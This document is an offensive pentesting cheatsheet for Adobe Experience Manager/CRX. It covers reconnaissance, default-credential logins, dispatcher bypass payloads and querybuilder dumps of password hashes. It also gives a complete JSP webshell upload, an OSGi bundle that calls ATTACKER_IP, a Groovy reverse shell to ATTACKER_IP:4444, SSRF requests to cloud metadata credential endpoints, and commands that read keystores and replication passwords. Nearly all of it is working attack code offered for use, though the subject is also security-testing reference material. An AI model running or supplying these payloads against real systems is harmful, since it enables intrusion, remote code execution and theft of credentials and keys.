CRX

Adobe Experience Manager (AEM) / CRX Pentesting Cheatsheet

BLUF: AEM is a Java-based CMS built on Apache Sling + OSGi + JCR (Apache Jackrabbit). The JCR stores everything — content, config, credentials, keys. CRXDE Lite (/crx/de) is the browser IDE for that repository. An exposed /crx/de or /system/console with default creds = full RCE and credential dump.


Architecture Primer

AEM Stack:
  ├── Apache Sling        (request handling, content resolution)
  ├── Apache Felix OSGi   (bundle/plugin runtime → /system/console)
  ├── Apache Jackrabbit   (JCR content repository)
  ├── CRXDE Lite          (browser IDE for JCR → /crx/de)
  └── Dispatcher          (reverse proxy / CDN layer)

Default Ports:
  4502  → Author instance
  4503  → Publish instance
  80/443 → Dispatcher (CDN fronting author or publish)

Attack Flow

1. Recon        → Fingerprint AEM version, Author vs Publish, CMS paths
2. Anon Probe   → Check sensitive paths without credentials
3. Default Auth → admin:admin on CRXDE, OSGi, Groovy, AEM login
4. CRXDE Lite   → Browse JCR, read /etc/key, upload JSP shell
5. OSGi Console → Upload malicious bundle → RCE
6. Querybuilder → Dump users, password hashes, secrets from JCR
7. SSRF         → Abuse vulnerable servlets to hit internal services
8. Dispatcher   → Bypass rules to reach author endpoints via publish
9. Post-Ex      → Read credentials.xml, key stores, cloud config

Recon & Fingerprinting

# Detect AEM instance
nmap -sV -p 4502,4503,80,443 <target>

# Version fingerprint — check X-Powered-By or version endpoint
curl -sI http://<target>:4502 | grep -i "x-powered\|server\|x-aem"
curl -s http://<target>:4502/libs/granite/core/content/login.html | grep -i "version\|version"
curl -s http://<target>:4502/system/sling/info.sessionInfo.json

# Common AEM response indicators
curl -s http://<target> | grep -i "geometrixx\|we.retail\|/content/dam\|/jcr:content\|crx\|sling"

# Google dorks
# site:target.com inurl:/content/dam
# site:target.com inurl:/jcr:content
# site:target.com inurl:/crx/de
# intext:/content/usergenerated site:target.com

# Check login page
curl -s http://<target>:4502/libs/granite/core/content/login.html
curl -s http://<target>:4502/crx/de/index.jsp

Anonymous Access Checks

Probe every path unauthenticated — AEM misconfigurations often leave these open.

High-Value Paths (No Auth Expected, Huge Win if 200)

BASE="http://<target>:4502"

# CRXDE Lite — full JCR browser if accessible
curl -s $BASE/crx/de/index.jsp

# OSGi Web Console — RCE via bundle upload if accessible
curl -s $BASE/system/console
curl -s $BASE/system/console/bundles
curl -s $BASE/system/console/configMgr

# Groovy console — RCE if plugin installed and accessible
curl -s $BASE/bin/groovyconsole
curl -s $BASE/groovyconsole

# CRX repository browser
curl -s $BASE/crx/explorer/browser/index.jsp

# Package Manager — upload malicious packages
curl -s $BASE/crx/packmgr/index.jsp

# Felix console alternative paths
curl -s $BASE/felix/console
curl -s $BASE/osgi/console

Data Leak Paths (Anonymous Read)

# User/people directory
curl -s "$BASE/home/users.infinity.json"
curl -s "$BASE/home/users.tidy.json"
curl -s "$BASE/bin/querybuilder.json?type=rep:User&limit=-1"

# User password hashes via Querybuilder (rep:password field)
curl -s "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1&p.properties=rep:password&p.excerptColumns=rep:password"

# Dump all users (Querybuilder)
curl -s "$BASE/bin/querybuilder.json?path=%2Fhome%2Fusers&type=rep%3AUser&p.limit=-1"

# Configuration / secrets
curl -s "$BASE/.json"
curl -s "$BASE/content.infinity.json"
curl -s "$BASE/content/usergenerated.infinity.json"
curl -s "$BASE/etc.infinity.json"
curl -s "$BASE/etc/key.json"           # Crypto key (AEM < 6.3 may expose)
curl -s "$BASE/var/audit.infinity.json"

# Example content (should not exist in production)
curl -s "$BASE/content/geometrixx"
curl -s "$BASE/content/we-retail"

# Replication agents (author instance) — may expose transport credentials
curl -s "$BASE/etc/replication/agents.author.infinity.json"

# Version check
curl -s "$BASE/libs/granite/core/content/login/jcr:content.json"

Dispatcher Bypass Techniques

The Dispatcher is AEM's CDN/reverse proxy that restricts which paths reach Author. Bypasses allow reaching Admin Author endpoints via the Publish/CDN layer.

# Path traversal / extension tricks to bypass dispatcher rules
# Dispatcher often allows .css, .js, .ico — use to sneak blocked paths through
curl -s "http://<publish>:4503/etc/../crx/de/index.jsp"
curl -s "http://<publish>:4503/crx/de/index.css"
curl -s "http://<publish>:4503/crx/de/index.jsp;.css"
curl -s "http://<publish>:4503/system/console;.html"
curl -s "http://<publish>:4503/system/console.css"
curl -s "http://<publish>:4503/content.feed.json"

# URL encoding tricks
curl -s "http://<publish>:4503/%2f%2f%2f%2f..%2f..%2f..%2fetc%2fpasswd"
curl -s "http://<publish>:4503/content/..%2fsystem%2fconsole"

# Double encoding
curl -s "http://<publish>:4503/system%2Fconsole"

Authentication

Default Credentials

Username Password Interface
admin admin AEM / CRXDE / OSGi
admin password AEM
admin (blank) Older installs
author author AEM Author
replication-receiver replication-receiver Replication user
# Test AEM login
curl -s -X POST http://<target>:4502/libs/granite/core/content/login.html/j_security_check \
  -d "j_username=admin&j_password=admin&j_validate=true" -I

# Test CRXDE Lite
curl -s -u admin:admin http://<target>:4502/crx/de/index.jsp | head -5

# Test OSGi console
curl -s -u admin:admin http://<target>:4502/system/console/bundles | head -5

CRXDE Lite Exploitation (/crx/de)

CRXDE Lite gives direct JCR access. Equivalent to having root on the content repository.

Browse & Enumerate JCR

BASE="http://<target>:4502"

# List root nodes
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root.infinity.json"

# Read specific nodes
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/home/users.infinity.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/var.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/key.json"   # Crypto key

# Read files via CRXDE REST API
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/apps/mysite/components/page/body.esp"

JSP Webshell Upload via CRXDE

# 1. Create a node in /apps for the shell (must be sling:Folder type)
curl -su admin:admin -X POST "$BASE/crx/server/crx.default/jcr:root/apps/pentest" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode ":nameHint=pentest" \
  --data-urlencode "jcr:primaryType=sling:Folder"

# 2. Upload JSP shell to the node
curl -su admin:admin -X PUT "$BASE/crx/server/crx.default/jcr:root/apps/pentest/shell.jsp" \
  -H "Content-Type: application/octet-stream" \
  --data-binary '<%@ page import="java.io.*" %><%
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
        InputStream is = p.getInputStream();
        int c; while((c=is.read())!=-1) out.print((char)c);
    }
%>'

# 3. Trigger the shell
curl -s "http://<target>:4502/apps/pentest/shell.jsp?cmd=id"

Read Sensitive Files via CRXDE

# AEM encryption key (used to decrypt stored credentials)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/key.json"

# Replication agent transport credentials
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/replication/agents.author.infinity.json"

# Cloud configuration (may contain API keys, AWS creds, etc.)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/cloudservices.infinity.json"

# User profiles (PII, email addresses)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/home/users.infinity.json"

OSGi Console Exploitation (/system/console)

OSGi = AEM's plugin runtime. Console allows installing/unloading Java bundles. Uploading a malicious .jar = RCE.

# Install malicious OSGi bundle (JAR with BundleActivator executing a command)
curl -su admin:admin -X POST \
  http://<target>:4502/system/console/bundles \
  -F "action=install" \
  -F "bundlestartlevel=20" \
  -F "bundlefile=@/path/to/malicious.jar" \
  -F "bundlestart=start"

# List installed bundles
curl -su admin:admin "http://<target>:4502/system/console/bundles.json" | jq '.data[] | {name, state, version}'

# OSGi config — often contains passwords, API keys, SMTP, LDAP
curl -su admin:admin "http://<target>:4502/system/console/configMgr" -s | grep -i "password\|secret\|key\|token"

# Stop a specific bundle
curl -su admin:admin -X POST "http://<target>:4502/system/console/bundles/<bundle-id>" \
  -d "action=stop"

Malicious OSGi Bundle (Java Skeleton)

// Compile and jar this to get RCE on bundle start
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.io.IOException;

public class Activator implements BundleActivator {
    public void start(BundleContext ctx) throws IOException {
        Runtime.getRuntime().exec("curl http://ATTACKER_IP/$(id)");
    }
    public void stop(BundleContext ctx) {}
}

Groovy Console RCE (/bin/groovyconsole)

If the AEM Groovy Console plugin is installed and exposed, it's direct RCE.

# Check if Groovy console is accessible
curl -su admin:admin http://<target>:4502/bin/groovyconsole

# Execute command via Groovy console (POST)
curl -su admin:admin -X POST "http://<target>:4502/bin/groovyconsole/post.json" \
  -d 'code=["id"].execute().text'

# Reverse shell via Groovy
curl -su admin:admin -X POST "http://<target>:4502/bin/groovyconsole/post.json" \
  --data-urlencode 'code=
    String host = "ATTACKER_IP"
    int port = 4444
    String cmd = "/bin/bash"
    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
    Socket s = new Socket(host, port)
    [p.inputStream, s.inputStream].each { fi ->
        Thread.start {
            def fo = (fi == p.inputStream) ? s.outputStream : p.outputStream
            fo << fi
        }
    }
    p.waitFor()
  '

Querybuilder Abuse (/bin/querybuilder.json)

Querybuilder is AEM's search API. It operates directly on JCR as the current session — with admin credentials or with anonymous access if controls are permissive.

BASE="http://<target>:4502"

# Dump all repository users + password hashes
curl -su admin:admin "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1&p.properties=rep:password"

# Dump users with emails
curl -su admin:admin "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1"

# Search for nodes containing "password" in properties
curl -su admin:admin "$BASE/bin/querybuilder.json?fulltext=password&p.limit=10"

# Find all DAM assets
curl -su admin:admin "$BASE/bin/querybuilder.json?type=dam:Asset&p.limit=20"

# Find pages with specific content
curl -su admin:admin "$BASE/bin/querybuilder.json?path=/content&type=cq:Page&p.limit=10"

# Abuse QueryBuilderJsonServlet (no auth — check if open)
curl -s "$BASE/bin/querybuilder.json?path=/home&type=rep:User&p.limit=-1&p.properties=rep:password"

# Alternative servlet paths worth probing
curl -s "$BASE/bin/querybuilder.feed.xml"
curl -s "$BASE/bin/querybuilder.res.json"

SSRF via AEM Servlets

Several built-in AEM servlets make HTTP requests based on user-supplied parameters — SSRF if exposed.

Servlet Path CVE Notes
SiteCatalyst /etc/cloudservices/sitecatalyst/*.json SSRF to analytics endpoint
AutoProvisioning /libs/cq/core/content/welcome.html SSRF
ReportingServices /etc/contentinsight/report CVE-2018-12809 SSRF → RCE (older AEM)
Salesforce Secret /libs/mcm/salesforce/content/bridge.html CVE-2018-5006 SSRF
OpenSocial Proxy /libs/opensocial/proxy HTTP proxy → SSRF
# SSRF via SiteCatalyst endpoint
curl -s "http://<target>:4502/etc/cloudservices/sitecatalyst/config.connectservice.json?analyticsServer=http://ATTACKER_IP/callback"

# SSRF via OpenSocial proxy
curl -s "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://169.254.169.254/latest/meta-data/"

# SSRF for cloud metadata (if AEM runs on AWS)
curl -s "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Internal port scan via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443; do
  echo -n "Port $port: "
  curl -s --max-time 2 "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://127.0.0.1:$port/" | head -1
done

CVEs — Notable AEM Vulnerabilities

CVE AEM Version Type Impact
CVE-2024-36186 < 6.5.20.0 RCE Remote code execution
CVE-2023-48445 < 6.5.19.0 Auth bypass Admin access without credentials
CVE-2021-43766 < 6.5.10 SSRF Internal network access
CVE-2020-9643 < 6.5.4.0 SSRF Server-side request forgery
CVE-2020-9645 < 6.5.4.0 SSRF Server-side request forgery
CVE-2018-12809 AEM 6.1–6.4 SSRF → RCE ReportingServicesServlet
CVE-2018-5006 AEM 6.x SSRF SalesforceSecretServlet
CVE-2016-7882 AEM 6.x XSS Stored XSS via /crx

Post-Exploitation

File System Access (via RCE or Shell)

# AEM home directory
ls -la /opt/aem/crx-quickstart/
ls -la /opt/adobe/aem/

# Repository data (JCR datastore)
find /opt/aem -name "*.json" | xargs grep -l "password\|secret\|key" 2>/dev/null

# AEM keystore / trust store
cat /opt/aem/crx-quickstart/launchpad/felix/bundle*/data/security/keystore.jks
find / -name "*.keystore" 2>/dev/null
find / -name "*.truststore" 2>/dev/null

# Service credentials in OSGi config files
cat /opt/aem/crx-quickstart/launchpad/sling.properties
grep -r "password\|secret\|apikey\|access_key" /opt/aem/crx-quickstart/launchpad/

Read Encryption Keys (Crypto Root)

# AEM Crypto Support stores keys in the JCR at /etc/key
# Read via CRXDE or querybuilder
curl -su admin:admin "http://<target>:4502/etc/key.tidy.json"

# Keys can be used to decrypt passwords stored in AEM config
# Tooling: https://github.com/nccgroup/AEM-Hacker (decrypt module)

Dump Replication Credentials

# Replication agents — contain transport user/password for Author→Publish
curl -su admin:admin "http://<target>:4502/etc/replication.infinity.json"
curl -su admin:admin "http://<target>:4502/etc/replication/agents.author.infinity.json"
curl -su admin:admin "http://<target>:4502/etc/replication/agents.publish.infinity.json"

# Look for transportPassword field in output
curl -su admin:admin "http://<target>:4502/etc/replication/agents.author.infinity.json" | \
  python3 -c "import sys,json; data=json.load(sys.stdin); [print(k,v) for k,v in data.items() if 'password' in k.lower()]"

Tools

aem-hacker

# https://github.com/0ang3el/aem-hacker
git clone https://github.com/0ang3el/aem-hacker
cd aem-hacker

# Full scan (default credentials + known vulns + exposed paths)
python3 aem_hacker.py -u http://<target>:4502

# With credentials
python3 aem_hacker.py -u http://<target>:4502 --creds admin:admin

# Check SSRF via known servlets
python3 aem_hacker.py -u http://<target>:4502 --ssrf-url http://ATTACKER_IP/callback

aemscan

# Python scanner for common AEM vulns
# https://github.com/Frax31/aemscan
python aemscan.py -t http://<target>:4502

Manual with curl

# Quick path check loop
for path in /crx/de/index.jsp /system/console /bin/groovyconsole \
  /crx/explorer/browser/index.jsp /crx/packmgr/index.jsp \
  /bin/querybuilder.json /etc/replication.json \
  /content.infinity.json /home/users.infinity.json; do
  code=$(curl -so /dev/null -w "%{http_code}" "http://<target>:4502$path")
  echo "$code $path"
done

Common AEM / CRX Paths Reference

Path What It Is
/crx/de/index.jsp CRXDE Lite — JCR browser/editor
/crx/explorer/browser/index.jsp CRX Explorer
/crx/packmgr/index.jsp Package Manager
/system/console OSGi/Felix Web Console
/system/console/bundles Bundle list
/system/console/configMgr OSGi config (passwords!)
/bin/groovyconsole Groovy Console (RCE)
/bin/querybuilder.json JCR search API
/libs/granite/core/content/login.html AEM login page
/etc/replication/agents.author Replication config
/etc/cloudservices Cloud service configs (API keys)
/etc/key AEM crypto key
/home/users User accounts
/home/groups Groups
/var/audit Audit logs
/content/geometrixx Sample content (should not exist in prod)
/content/we-retail Sample content (should not exist in prod)
/content/usergenerated User-generated content
/libs/dam/gui/content/assets DAM interface

Misconfigurations Checklist


Quick Reference

Task Command
Fingerprint curl -sI http://target:4502 | grep X-Powered
Anon API curl -s http://target:4502/api/json
Dump users curl -su admin:admin "http://target:4502/bin/querybuilder.json?type=rep:User&p.limit=-1"
Password hashes curl -su admin:admin "…?type=rep:User&p.limit=-1&p.properties=rep:password"
Crypto key curl -su admin:admin http://target:4502/etc/key.json
JSP shell Upload via /crx/server/crx.default/jcr:root/apps/… PUT
OSGi RCE Upload .jar via /system/console/bundles
Groovy RCE POST to /bin/groovyconsole/post.json with code=
SSRF Abuse /libs/opensocial/proxy?url=http://…
Scan python3 aem_hacker.py -u http://target:4502

Key References